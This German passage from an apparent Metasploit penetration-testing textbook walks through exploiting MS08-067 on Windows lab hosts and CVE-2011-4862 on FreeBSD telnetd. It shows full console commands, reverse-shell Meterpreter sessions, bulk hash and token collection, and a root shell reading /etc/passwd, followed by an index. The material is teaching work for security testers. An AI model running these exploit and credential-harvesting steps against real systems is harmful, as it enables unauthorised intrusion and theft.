Tip: Der Payload lässt sich auch sehr komfortabel über die Tab-Completion auswählen und setzen.

Durch das Setzen eines bestimmten Payloads werden die für diesen Payload benötigten Optionen verfügbar. Mit `show options` lassen sie sich darstellen:

```
msf exploit(ms08_067_netapi) > show options
```

```
Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
--	-----	----	----
RHOST	10.8.28.244	yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

```
Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
--	-----	----	----
EXITFUNC	thread	yes	Exit technique
LHOST	10.8.28.9	yes	The listen address
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
--	--
0	Automatic Targeting

Listing 4-9 Optionen mit gewählten Payloads

Für den Einsatz eines Reverse-Shell-Payloads werden von diesem weitere Optionen wie LHOST und LPORT benötigt. LHOST stellt dabei die IP-Adresse dar, auf die sich der Payload zurückverbinden soll, und LPORT bezeichnet den Port, an dem der Listener zur Aufnahme der Payload-Verbindung zu finden sein sollte. Typischerweise handelt es sich dabei um das lokale System.

Die minimalen Optionen, die nach der Darstellung der Optionen gesetzt werden müssen, sind RHOST und LHOST. Diese Optionen sind erneut mit `set RHOST <IP>` und `set LHOST <IP>` zu setzen.

Nach einer abschließenden Kontrolle aller Optionen mit `show options` kann dieser Exploit zur Anwendung gebracht werden. Im Unterschied zu den bereits dargestellten Auxiliary-Modulen, bei denen das Modul mit `run` zur Ausführung gebracht wird, wird bei Exploit-Modulen der Befehl `exploit` eingesetzt.

Im aktuellen Beispiel lässt sich vorab das bereits dargestellte Auxiliary-Modul `smb_version` zur Gewinnung weiterer Informationen nutzen. Dieses Modul ergab im Rahmen seines Einsatzes folgende Ergebnisse:

```
[*] 10.8.28.244:445 is running Windows 2000 Service Pack 0 - 4
```

```
(language: English) (name:WIN2K-ENG-SP3) (domain:WORKGROUP)
```

Anwendung des Exploits

Mit den ermittelten Informationen ist es möglich, alle benötigten Optionen des `MS08-067`-Exploits zu konfigurieren und diesen Exploit erfolgreich einzusetzen.

```
msf exploit(ms08_067_netapi) > exploit
```

```
[*] Started reverse handler on 10.8.28.9:4444
```

```
[*] Automatically detecting the target...
```

```
[*] Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:English
```

```
[*] Selected Target: Windows 2000 Universal
```

```
[*] Attempting to trigger the vulnerability...
```

```
[*] Sending stage (752128 bytes) to 10.8.28.244
```

```
[*] Meterpreter session 1 opened (10.8.28.9:4444 -> 10.8.28.244:1998) at  
2011-07-
```

```
03 13:41:11 +0200
```

```
meterpreter > sysinfo
```

```
Computer      : WIN2K-ENG-SP3
```

```
OS            : Windows 2000 (Build 2195, Service Pack 3).
```

```
Architecture  : x86
```

```
System Language : en_US
```

```
Meterpreter   : x86/win32
```

```
meterpreter > getuid
```

```
Server username: NT AUTHORITY\SYSTEM
```

Listing 4-10 *Exploiting-Vorgang mit automatischer Wahl des Zielsystems*

Im dargestellten Beispiel wurde ein Windows-2000-System unter Verwendung des automatischen Auswahlmechanismus des zu verwendenden Targets angegriffen. Diese automatische Erkennung des Zielsystems ist in Listing 4-10 an der Zeile [*] `Automatically detecting the target...` zu erkennen.

Manuelle Zielwahl

Im folgenden Beispiel wird der bereits eingesetzte Exploit gegen ein deutschsprachiges Windows-2003-Serversystem mit Service Pack 2 und ohne aktivierte Data Execution Prevention (DEP bzw. No eXecute) eingesetzt.

- Betriebssystem: Windows-2003-Serversystem – deutsche Sprachversion
- Patchlevel: SP2
- Dienst: SMB

- Ausgenutzte Schwachstelle: MS08-067 [96] /CVE-2008-4250 [97]
- Metasploit-Modul: *ms08_067_netapi* [98]
- Hinweis: Bei diesem System wurde DEP manuell deaktiviert. Im Normalfall ist DEP auf Windows XP und Windows 2003 aktiviert und benötigt eine andere Zieldefinition. Dies lässt sich für weitere Eigenversuche nutzen. Beachten Sie aber, dass dieser Exploit auf Windows-2003-Systemen mit aktivierter DEP häufig nicht verlässlich anzuwenden ist.

Die Systemversion mit Patchlevel ist erneut mit dem Modul *smb_version* erkennbar. In folgender Ausgabe ist dargestellt, dass die eingesetzte Sprachversion für das Scannermodul nicht bekannt ist:

```
[*] 10.8.28.212:445 is running Windows 2003 Service Pack 2 (language: Unknown)
```

```
(name:HELLISWAITING) (domain:WORKGROUP)
```

Wird trotzdem ein Exploiting-Vorgang durchgeführt, schlägt dieser fehl. Folgendes Listing zeigt diesen Vorgang, bei dem erkennbar ist, dass ein nicht bekanntes Zielsystem als englische Version eingestuft wird und dementsprechend eine englische Zieldefinition zur Anwendung kommt.

```
[*] Automatically detecting the target...
```

```
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
```

```
[*] We could not detect the language pack, defaulting to English
```

```
[*] Selected Target: Windows 2003 SP2 English (NX)
```

Listing 4-11 *Fehlgeschlagener Exploiting-Vorgang mit automatischer Wahl des Zielsystems*

Der Exploiting-Vorgang mit dieser Zieldefinition schlägt fehl und das Zielsystem bleibt in einem Zustand, der keinen weiteren Exploiting-Vorgang zulässt. Folgendes Listing zeigt erst einen Check-Vorgang. Anschließend werden die vorhandenen Targets abgefragt, das korrekte Ziel wird ausgewählt und abschließend erfolgreich angegriffen.

```
msf exploit(ms08_067_netapi) > set RHOST 10.8.28.212
```

```
RHOST => 10.8.28.212
```

```
msf exploit(ms08_067_netapi) > check
```

```
[*] Verifying vulnerable status... (path: 0x0000005a)
```

```
[+] The target is vulnerable.
```

```
msf exploit(ms08_067_netapi) > show targets
```

```
Exploit targets:
```

```
Id  Name
```

```
--  --
```

```
0   Automatic Targeting
```

```
1   Windows 2000 Universal
```

```
<snip>
```

```
11  Windows 2003 SP2 German (NO NX)
```

```
12  Windows 2003 SP2 German (NX)
```

```
<snip>
```

```
msf exploit(ms08_067_netapi) > set TARGET 11
```

```
TARGET => 11
```

```
msf exploit(ms08_067_netapi) > exploit
```

```
[*] Started reverse handler on 10.8.28.8:4444
```

```
[*] Attempting to trigger the vulnerability...
```

```
[*] Sending stage (749056 bytes) to 10.8.28.212
```

[*] Meterpreter-Session 2 opened (10.8.28.8:4444 -> 10.8.28.212:1204) at
Wed Nov 03

21:43:11 +0100 2010

meterpreter > sysinfo

Computer: HELLISWAITING

OS : Windows .NET Server (Build 3790, Service Pack 2).

Arch : x86

Language: de_DE

meterpreter > getuid

Server username: NT-AUTORITÄT\SYSTEM

Listing 4-12 *Exploiting-Vorgang mit manueller Wahl des Zielsystems*

Dieses Beispiel zeigt gleichzeitig ganz klar, wo Einschränkungen möglicher Automatisierungsmechanismen, die in Kapitel 6 behandelt werden, liegen. Dementsprechend lässt sich nur mit manuellen Optimierungen das Maximum aus einem Pentest mit dem Metasploit-Framework herausholen.

4.2.1 Session-Management

Ein funktionales und verlässliches Session-Management zählt mit zu den wichtigsten Komponenten eines Exploiting-Frameworks. Kommt es im Rahmen eines Penetrationstests beispielsweise zum erfolgreichen Angriff einer Vielzahl von Systemen, ist es sehr wichtig, die erzeugten Sessions einfach, übersichtlich und verlässlich zu verwalten. Es sollte Möglichkeiten geben, einzelne Sessions zu aktivieren, sie in den Hintergrund zu legen und möglichst übersichtlich darzustellen. Zudem sollte erkennbar sein, welcher Exploit für die Session verantwortlich ist und unter welchen Benutzerrechten die erstellte Session läuft. Weitere Funktionen, wie das gleichzeitige Ausführen eines Kommandos auf allen Systemen, sind häufig sehr hilfreich und ermöglichen eine schnelle Umsetzung unterschiedlichster Post-Exploitation-Tätigkeiten.

```
msf > sessions -h
```

```
Usage: sessions [options]
```

```
Active session manipulation and interaction.
```

```
OPTIONS:
```

- K Terminate all sessions
- c <opt> Run a command on the session given with -i, or all
- d <opt> Detach an interactive session
- h Help banner
- i <opt> Interact with the supplied session ID
- k <opt> Terminate session
- l List all active sessions
- q Quiet mode
- r Reset the ring buffer for the session given with -i, or all
- s <opt> Run a script on the session given with -i, or all
- u <opt> Upgrade a win32 shell to a meterpreter session
- v List verbose fields

Listing 4-13 Hilfsfunktion des Sessions-Befehls

Hinweis: Falls Sie sich gerade in einer Meterpreter-Session befinden, können Sie diese mit dem Background-Kommando in den Hintergrund legen.

Um sich vorhandene Sessions anzeigen zu lassen, genügt es, das Kommando `sessions` ohne Parameter abzusetzen. Mit dem Parameter `-v` werden weitere Details der vorhandenen Session dargestellt:

```
msf > sessions
```

Active sessions

=====

Id	Type	Information	Connection
2	meterpreter	x86/win32 NT AUTHORITY\SYSTEM @ WIN2K-ENG-SP3	10.8.28.9:4444 -> 10.8.28.244:2000
3	meterpreter	x86/win32 NT AUTHORITY\SYSTEM @ FORTRESS	10.8.28.9:4444 -> 10.8.28.201:49158

msf > sessions -v

Active sessions

=====

Id	Type	Information	Connection
2	meterpreter	x86/win32 NT AUTHORITY\SYSTEM @ WIN2K-ENG-SP3	10.8.28.9:4444 -
<hr/>			
>	10.8.28.244:2000	exploit/windows/smb/ms08_067_netapi	
<hr/>			
3	meterpreter	x86/win32 NT AUTHORITY\SYSTEM @ FORTRESS	10.8.28.9:4444 -
>	10.8.28.201:49158	exploit/windows/smb/ms09_050_smb2_negotiate_func_index	

Listing 4-14 Detaillierte Session-Informationen

Eine vorhandene Session lässt sich mit dem Parameter `-i SESSION-ID` aktivieren.

```
msf > sessions -i 2
```

```
[*] Starting interaction with 2...
```

```
meterpreter >
```

Listing 4-15 Aktivieren einer Session

Sind mehrere Sessions gleichzeitig aktiv, sollte es einem Pentester möglich sein, typische System- und Metasploit-Kommandos gleichzeitig in allen Sessions auszuführen. Für Systemkommandos stellt Metasploit die Option `-c` zur Verfügung.

```
msf exploit(ms08_067_netapi) > sessions -c ipconfig
```

```
[*] Running 'ipconfig' on Meterpreter-Session 1 (10.8.28.244:1352)
```

```
Windows 2000 IP Configuration
```

```
Ethernet adapter Local Area Connection:
```

```
    Connection-specific DNS Suffix  . :
```

```
    IP Address... .. : 10.8.28.244
```

```
    Subnet Mask ... .. : 255.255.255.0
```

```
    Default Gateway ... .. : 10.8.28.253
```

```
[*] Running 'ipconfig' on Meterpreter-Session 2 (10.8.28.212:1204)
```

```
Windows-IP-Konfiguration
```

```
Ethernet-Adapter LAN-Verbindung 2:
```

Verbindungsspezifisches DNS-Suffix:

IP-Adresse... .. : 192.168.111.1

Subnetzmaske : 255.255.255.0

Standardgateway :

Ethernet-Adapter LAN-Verbindung:

Verbindungsspezifisches DNS-Suffix:

IP-Adresse... .. : 10.8.28.212

Subnetzmaske : 255.255.255.0

Standardgateway : 10.8.28.253

Listing 4-16 *Systemkommandos in mehreren Sessions ausführen*

Metasploit bringt eine umfangreiche Sammlung unterschiedlichster Post-Exploitation-Skripte mit, die im folgenden Kapitel 5 detailliert dargestellt werden. Diese Skripte werden üblicherweise in einer Meterpreter-Session mit `run <SCRIPTNAME>` ausgeführt. Um solche Meterpreter-Skripte wie die dargestellten Windows-Befehle direkt über das integrierte Session-Management in mehreren Sessions automatisch auszuführen, gibt es den Parameter `-s <SCRIPTNAME>`. Folgendes Listing stellt die Anwendung mehrerer dieser Skripte dar.

msf > sessions -s checkvm

[*] Running script checkvm on all sessions...

[*] Session 2 (10.8.28.244:2000):

[*] Checking if target is a Virtual Machine

[*] This is a VMware Virtual Machine

[*] Session 3 (10.8.28.201:49158):

[*] Checking if target is a Virtual Machine

[*] This is a VMware Virtual Machine

msf > sessions -s credcollect

[*] Running script credcollect on all sessions...

[*] Session 2 (10.8.28.244:2000):

[+] Collecting hashes...

Extracted: Administrator:<snip>:<snip>

Extracted: Guest: <snip>:<snip>

Extracted: IUSR_WIN2K-ENG: <snip>:<snip>

Extracted: IWAM_WIN2K-ENG: <snip>:<snip>

Extracted: TsInternetUser: <snip>:<snip>

[+] Collecting tokens...

NT AUTHORITY\SYSTEM

WIN2K-ENG-SP3\IWAM_WIN2K-ENG

NT AUTHORITY\ANONYMOUS LOGON

WIN2K-ENG-SP3\IUSR_WIN2K-ENG

[*] Session 3 (10.8.28.201:49158):

[+] Collecting hashes...

Extracted: Administrator: <snip>:<snip>

Extracted: alice: <snip>:<snip>

Extracted: Guest: <snip>:<snip>

Listing 4-17 Meterpreter-Skripte über das Session-Management einsetzen

Weitere Details zu Meterpreter und zur Post-Exploitation-Phase werden im folgenden Kapitel 5 dargestellt.

4.3 Metasploit Community Edition

Die Zielsysteme der bislang vorgestellten Exploiting-Vorgänge umfassten unterschiedliche Windows-Betriebssysteme. In den meisten Fällen trifft der Pentester allerdings nicht auf eine reine Windows-Umgebung, sondern auf eine wesentlich heterogenere Systemlandschaft mit unterschiedlichsten Betriebssystemen, die ebenso analysiert werden müssen. Neben Linux-Systemen lassen sich dabei häufig verschiedenste BSD-basierte Systeme auffinden. Diese genießen allgemein einen sehr guten Ruf, wenn es um Sicherheit geht, allerdings sind kritische Schwachstellen auch nicht auszuschließen.

Im folgenden Abschnitt wird eine kritische Schwachstelle im Telnet Daemon betrachtet, die Ende des Jahres 2011 erkannt wurde und sich ohne Authentifizierung über das Netzwerk ausnutzen lässt. Die Schwachstelle wurde als 0-Day-Schwachstelle veröffentlicht und betraf zum Zeitpunkt der Veröffentlichung jedes FreeBSD-basierende System mit aktivem Telnet Daemon. Da FreeBSD häufig auch bei kommerziellen Security-Appliances unterschiedlicher Hersteller im Einsatz ist, sind durchaus kritische Systeme davon betroffen.

Diese Tatsache macht eine Schwachstelle in einem Betriebssystemservice entsprechend interessant. Vor allem, wenn betroffene Hersteller den Telnet-Zugang auf Security-Appliances nicht deaktivieren und auch keine Sicherheitsupdates zeitnah zur Verfügung stellen [101].

Weitere Informationen zu dieser Schwachstelle finden sich auf der Mitre-Webseite in CVE-2011-4862 [102] bzw. auf der Bugtraq-Seite in BID 51182 [103].

Im folgenden Abschnitt kommt die grafische Weboberfläche der Metasploit Community Edition zur Erkennung der Schwachstelle und zur Anwendung des passenden Exploits zum Einsatz.

Im ersten Schritt lässt sich ein passendes Projekt mit einem aussagekräftigen Namen und weiteren Informationen anlegen. Im Rahmen dieser ersten

Projektkonfiguration sollten auch weitere Informationen zum Pentest und des zu analysierenden Netzwerkbereiches angegeben werden.

Project Settings

Project name* FreeBSD Telnet Vulnerability

Description
In diesem Projekt wird eine Schwachstelle im Telnet Daemon von FreeBSD Systemen mit der Metasploit Community Edition erkannt und im weiteren Verlauf zur erfolgreichen Kompromittierung genutzt.
CVE: CVE-2011-4862
BID: 51182

Network range
10.8.28.0/24

Restrict to network range

Abb. 4-2 Anlegen eines neuen Projektes

Die Metasploit Community Edition bringt einen einfachen und weitgehend automatisierten Discovery-Vorgang mit. Dieser führt eine automatische Erkennung der Systeme und Services im angegebenen Netzwerkbereich durch. Im dargestellten Fall sollen nur Telnet-Zugänge ermittelt werden. Entsprechend wird in den *Advanced Options* der Parameter *Custom TCP port range* auf Port 23 eingeschränkt.

Hinweis: Durch die Angabe des typischen Telnet-Ports werden unter Umständen weitere Telnet-Zugänge auf anderen Ports nicht erkannt. Wenn es zeitlich möglich ist, wird empfohlen, einen Discovery-Prozess mit den Standardoptionen durchzuführen und anschließend alle erkannten Services zu analysieren.

Target Settings

Target addresses* 10.8.28.0/24

Hide Advanced Options

Advanced Target Settings

Excluded addresses

Perform initial portscan

Custom Nmap arguments

Additional TCP ports

Excluded TCP ports

Custom TCP port range 23

Custom TCP source port

Fast detect: Common TCP ports only

Abb. 4-3 Discovery-Vorgang einleiten – nur Port 23 wird betrachtet

Der konfigurierte Discovery-Prozess ermittelt alle Systeme, die online sind, und holt weitere Informationen der Services auf Port 23 ein. Im Anschluss an diesen Discovery-Prozess sind diese Details im *Analysis*-Tab aufzufinden.

Im folgenden Schritt müssen die Modulooptionen geprüft und konfiguriert werden. Dabei ist zu beobachten, dass die vorausgewählten Systeme bereits als Zieladressen voreingestellt sind und sich direkt übernehmen oder anpassen lassen.

The screenshot shows the Metasploit web interface for the 'Telnet Service Encryption Key ID Overflow Detection' module. The breadcrumb navigation is 'Home > default > Modules > Telnet Service Encryption Key ID Overflow Detection'. The module title is 'Telnet Service Encryption Key ID Overflow Detection' with the path 'auxiliary/scanner/telnet/telnet_encrypt_overflow'. The description is 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)'. The 'Target Systems' section shows a table with 'Target Addresses' and 'Excluded Addresses'. The 'Target Addresses' table contains four entries: 10.8.28.253, 10.8.28.109, 10.8.28.143, and 10.8.28.107. The 'Exploit Timeout (minutes)' is set to 5. The 'Module Options' section includes fields for PASSWORD, RPORT (23), THREADS (1), TIMEOUT (30), and USERNAME. There are also links for 'Advanced Options show' and 'Evasion Options show', and a 'Run Module' button.

Abb. 4-6 Konfiguration des Scanners

Nach Abschluss der Konfiguration und Anwendung des Moduls analysiert dieses die erkannten Telnet-Services auf die entsprechende Schwachstelle. Sobald der Task abschlossen ist, finden sich die Systeme mit den erkannten Schwachstellen im *Analysis* → *Vulnerabilities*-Tab.

Hosts		Notes	Services	Vulnerabilities	Captured Evidence
Show 100 entries					
<input checked="" type="checkbox"/>	Host	Name			
<input checked="" type="checkbox"/>	10.8.28.143	auxiliary/scanner/telnet/telnet_encrypt_overflow			
<input checked="" type="checkbox"/>	10.8.28.109	auxiliary/scanner/telnet/telnet_encrypt_overflow			
<input checked="" type="checkbox"/>	10.8.28.107	auxiliary/scanner/telnet/telnet_encrypt_overflow			
<input checked="" type="checkbox"/>	10.8.28.108	auxiliary/scanner/telnet/telnet_encrypt_overflow			
Showing 1 to 4 of 4 entries					

Abb. 4-7 Anfällige Systeme werden in der Schwachstellenübersicht dargestellt.

Während Metasploit Pro mit der Möglichkeit der *Smart Exploitation* im Anschluss einen automatisierten und optimierten Exploiting-Vorgang mehrerer Systeme und Services ermöglicht, muss der Pentester mit der Community Edition manuell vorgehen. Die folgende Abbildung zeigt das Exploit-Modul und dessen Konfiguration. Im Normalfall reicht es dabei aus, die dargestellten Optionen auf ihren vorkonfigurierten Werten zu belassen und das Modul zur Anwendung zu bringen.

Home FreeBSD Telnet Vulnerability Modules **FreeBSD Telnet Service Encryption Key ID Buffer Overflow**

Module

Type: Server Exploit

Ranking: ★★★★★

Privileged?: Yes

Disclosure: December 23, 2011

Developers

Jaime Penalba Estebanez
<jpenalbae@gmail.com>
Brandon Perry
<bperry.volatile@gmail.com>
Dan Rosenberg
hdm <hdm@metasploit.com>

References

- CVE-2011-4862
- OSVDB-78020
- BID-51182
- exploit-db

FreeBSD Telnet Service Encryption Key ID Buffer Overflow
exploit/freebsd/telnet/telnet_encrypt_keyid

This module exploits a buffer overflow in the encryption option handler of the FreeBSD telnet service.

Target Systems

Target Addresses	Excluded Addresses
10.8.28.143	

Exploit Timeout (minutes)
5

Target Settings
Automatic

Payload Options

Payload Type	Meterpreter	Listener Ports	1024-65535
Connection Type	Auto	Listener Host	

Module Options

PASSWORD: The password for the specified username (string)

RPORT: 23 The target port (port)

Abb. 4-8 Konfiguration des passenden Exploits

War ein Angriff erfolgreich, taucht eine neue Sitzung im *Sessions*-Tab auf. An dieser Stelle ist es möglich, weitere Post-Exploitation-Module anzuwenden, und es lässt sich eine interaktive Konsolensitzung direkt in der Weboberfläche starten.

Während Metasploit Pro den Pentester mit weiteren Automatisierungsmechanismen und Makro-Funktionen beim Post-Exploitation-Prozess unterstützt, muss dieser Vorgang bei der Metasploit Community Edition weitgehend manuell umgesetzt werden.

Hinweis: In der Metasploit-Konsole lassen sich viele Vorgänge unter Zuhilfenahme von Resource-Skripten ähnlich wie in der Metasploit-Pro-Oberfläche automatisieren.

Die Metasploit Community Edition zeigt, wie ein Pentest in einer grafischen Oberfläche die Übersicht wahrt und weite Teile des Pentesting-Workflows optimieren kann. Alle dargestellten Tätigkeiten sind nicht auf die grafische Oberfläche beschränkt und lassen sich in der Metasploit-Konsole ebenso umsetzen. Manche dieser Vorgänge lassen sich mit einfachen Resource-Skripten erheblich optimieren. Siehe hierzu Abschnitt 6.5.

```
Metasploit - Session ID # 71 (10.8.28.143)

pwd
/
id
id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)

cat /etc/passwd

cat /etc/passwd

# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin

Shell >
```

Abb. 4-9 Eine aktive Sitzung auf der Konsole

4.4 Zusammenfassung

Bei der Anwendung eines Exploits müssen unterschiedliche Optionen wie der zu verwendende Payload, die lokale IP-Adresse, die Remote-IP-Adresse und eine Zieldefinition gesetzt werden. Zudem besitzen unterschiedliche Module eine Check-Funktion, die es ermöglicht, das Zielsystem vorab auf eine Verwundbarkeit zu testen und damit die Erfolgswahrscheinlichkeit des nachfolgenden Exploiting-Vorgangs erheblich zu erhöhen. In Kombination mit dem integrierten Session-Management bietet Metasploit eine mächtige Kontrollumgebung für die nachfolgende Post-Exploitation-Phase. Dieses

Session-Management ermöglicht nicht nur die Auflistung aktiver Sitzungen und die Interaktion mit diesen. Es werden unterschiedlichste erweiterte Aktivitäten wie die einfache Anwendung von Systemkommandos und Meterpreter- bzw. Post-Exploitation-Skripten in allen aktiven Sitzungen ermöglicht. Die dargestellten Exploiting-Vorgänge sind nur der Einstieg in eine umfangreiche Post-Exploitation-Phase, die im nächsten Kapitel detailliert dargestellt wird.

Index

A

Airpwn 327

APT 53

Arachni 275

- Arachni-Autopwn 284

- Einsatz 277

- Installation 276

- Konsole 277

- Metasploit 282

- Weboberfläche 280

Architektur

- Egghunter 50

- Framework Base 51

- Framework Core 51

- Modules 52

- Omelet-Egghunter 50

- Plugins 52

- Rex – Ruby Extension Library 49

- SEH 50

ASLR 446

Automatisierung 219

- Armitage 246

- Passwortangriffe 225
- Pre-Exploitation-Phase 220
- Resource-Skript 220, 532

Auxiliary-Module 5

B

BackTrack 53

- Installation 55

Bad Characters 432, 461

BeEF 358

Benutzeroberflächen 60

- Armitage 69, 246

- Metasploit-Konsole 60

- msfconsole 60

BID 51182 140

browser_autopwn 335, 516

Bulletins

- MS06-014 337

- MS08-067 126, 134, 230

- MS09-050 111, 212

- MS10-002 330, 331

Burp 95

C

Client-Side Attacks 14, 17, 22, 329

- Aurora 330

- Java-Applet 351

- MS06-014 337

- MS10-002 330

- Proxy-Payload 355

- Cloudburst 26
- Community Edition 72
 - Auxiliary 142
- Conficker 127
- Coordinated Disclosure xvi
- Core Impact 47
- Cross-Site Scripting 43, 340
 - Shell 351
 - XSSF 342
 - XSSF-Exploit 351
 - XSSF-Tabnapping 348
- CVE-1999-0532 95
- CVE-2006-2369 106
- CVE-2007-5511 300
- CVE-2008-4250 126, 134
- CVE-2010-0249 331
- CVE-2011-4862 140

D

- Datastore 76
 - global 76
 - modular 76
- Datenbanken 75, 286
 - MariaDB 306
 - Microsoft SQL-Server 287
 - MS-SQL 287
 - mssql_payload 293
 - MySQL 306
 - Oracle Discovery 295

- Oracle Privilege-Escalation 300
- Oracle SQL Statements 299
- Oracle-Datenbanken 294
- PostgreSQL 311
- relationales Datenbankmanagementsystem 287
- SID – Service Identifier 296
- sqlplus 300
- Datenbankunterstützung 78
 - Abfragen 81
 - Postgresql 79
- Debian-Linux 53
- Debugger 414
 - Immunity Debugger 414
 - Just-in-Time Debugging 415
 - Olly-Debugger 414
- Discovery-Scanner 98
 - ARP-Scanner 99
 - Portscanner 100
 - SNMP-Community-Scanner 102
 - UDP-Scanner 104
 - VNC-Scanner 105
 - Windows-Scanner 109
- Discovery-Vorgang 75, 140
- DLL Rebase 446
- Dokumentation 30
 - BasKet 31
 - Zim 32

Dumpster-Diving 377

E

editor 438

Egghunter 419

Egress Buster 361

Encase 175

Eskalationskette 2

Evading 483

Exploit

- MS08-067 499

Exploiting 123, 405

- Buffer Overflow 406

- Check-Funktion 131

- Egghunter 435

- EIP 418

- ESP 419

- Extended Instruction Pointer 418

- FreeBSD 139

- Fuzzing 409

- Fuzzing-Arten 410

- Fuzzing-Frameworks 410

- LIFO 406

- Manuelle Targetwahl 134

- Metasm-Shell 435

- Metasploit Community Edition 139

- msfconsole 126

- msfpayload, msfencode 431, 484

- msfpescan 420

- Nullbyte 422
- pattern_create 424
- pattern_offset 424
- payload_lengths.rb 437
- Return-into-Lib 419
- Return-Oriented-Programming 419
- Reverse Engineering 409
- Session-Management 136
- Source-Code-Analyse 408
- Stack 406
- Exploiting-Frameworks 10
 - Automatisierung 23
 - Bind-Shell-Payloads 19
 - Core Impact Pro 26
 - Exploits 16
 - Fuzzer 24
 - Immunity Canvas Professional 24
 - Managementkonsole 22
 - Passwort-Scanner 15
 - Payloads 17
 - Portscanner 11
 - Research 24
 - Reverse-Shell-Payloads 21
 - Scripting-Funktionalität 23
 - Service-Scanner 11
 - Systemkommando-Payloads 19
 - Versionsscanner siehe Service-Scanner

Vulnerability-Scanner 13

F

False Positives 1

Full Disclosure xvi, 46

Fuzzer 24

G

GIT 477

 Branch 478

 Pull Request 478

Google-Hacking 30, 88

H

Hashdump 154, 173, 371

 Mac OS X 371

 Windows 371

I

Immunity Canvas 47

Immunity Debugger 24, 442

Incognito 189

 Delegate Token 189

 Impersonate Token 189

 Token-Hunter 192

 Windows Access Token 189

IPv6 318

J

JavaScript Object Notation 391

JSON 391

K

Karmetasplloit 327

L

Local-Exploits

 siehe Privilege-Escalation 17

M

Message Pack 391

Metasploit

 Architektur 48

 Benutzeroberflächen 60

 Dateisystem 58

 Geschichte 45

 Installation 52

Metasploit Community Edition 72, 139

Metasploit Connect 120

Metasploit Express xvi, 40, 47, 72, 512

Metasploit Pro xvi, 40, 47, 72, 143, 512, 514

Meterpreter 47, 132, 147

 Arp-Scanner 167

 Eigenschaften 148

 Enumeration (Netzwerk) 165

 Erweiterungsmodule 153, 188

 Grundfunktionen 149

 hashdump 154

 Incognito 189

 Java 216, 339

 Linux 216

 MACE 173

 Metasploit Anti-Forensics Project 173

Metsvc 59, 170
Persistence-Meterpreter-Skript 168
PHP 216, 274
Pivoting 197, 206
Post-Information Gathering 158
SAM-Juicer 173
Slacker 173
Systemunabhängigkeit 216
Timestomp 173
VNC 164
Windows 216
winenum 159
Zugriff sichern 168

Module

ack 101
alert 346
arp_sweep 99
browser_autopwn 335
bypassuac 179
crawler 254, 266, 529
detect_properties 348
enum_wayback 94
ftpbounce 101
generic_exec 530
ie_createobject 337
java_calendar_deserialize 338
jtr_crack_fast 374
lt_findricset_cursor 300

mssql_enum 291
mssql_idf 292
mssql_login 290
mssql_payload 293
mssql_ping 287
ms08_067_netapi 126, 128, 134
ms09_050_smb2 65, 212
ms10_002_aurora 331
Multi-Handler 359
mysql_enum 310
mysql_login 309
mysql_payload 306
mysql_version 307
nbname 109
open_x11 106
oracle_login 298
oracle_sql 298
php_include 273, 530
postgres_login 312
postgres_readfile 312
postgres_sql 311
postgres_version 312
psexec 112, 369, 374
realvnc_41_bypass 107
sid_brute 297
sid_enum 297
smb_login 109, 112
smb_version 109, 205

smb2 109, 205
snmp_enum 103, 104
snmp_login 103
snmp_set 103
socks4a 207
ssh_login 118
ssh_version 116
sweep_udp 101
syn 101
tabnapping 348
tcp 101, 203
tncmd 296
tnslsnr_version 296
udp_probe 204
udp_sweep 104
vnc_login 106
vnc_none_auth 105
web_pii 397
win_privs 179
win32exec 304
win32upload 303
xmas 101
module_disclodate.rb 401
module_license.rb 402
module_ports.rb 401
module_targets.rb 400
msfconsole 60
Exploit-Anwendung 134

- Exploit-Auswahl 128
- Exploit-Informationen 128
- externe Kommandos 68
- Modulooptionen – show options 65
- Modulsuche 128
- Payload 132
- Search-Kommando 63
- Show-Kommando 61
- Tab Completion 61
- Use und Back Kommando 65

msfpro 73

msgpack 391

MS08-067 504

Multi-Handler 169, 171, 305, 366

N

Nessus 232

- Bridge 235

- Import 233

Netcat 11, 12, 20, 120

Netcraft 88

Network Mapper 227

NeXpose 54, 240

- Import 243

- Plugin 243

Nmap 11, 13, 102, 227

Non Disclosure 46

O

Opcodes 49, 435

P

Pass-the-Hash 112, 369

Passwortangriffe 113

- SMB 112

- SSH 115

- Wortlisten 114

Patchmanagement 17

Pentesting-Labor 37

- Acunetix 42

- Badstore 41, 344

- Crackme Bank 42

- Damn Vulnerable Web App 41

- Foundstone-Hacme-Systeme 41, 42

- Free Bank 42

- Google Gruyere 41

- Hacme-Bank 42

- Hacme-Book 42

- Hacme-Casino 42

- Hacme-Shipping 42

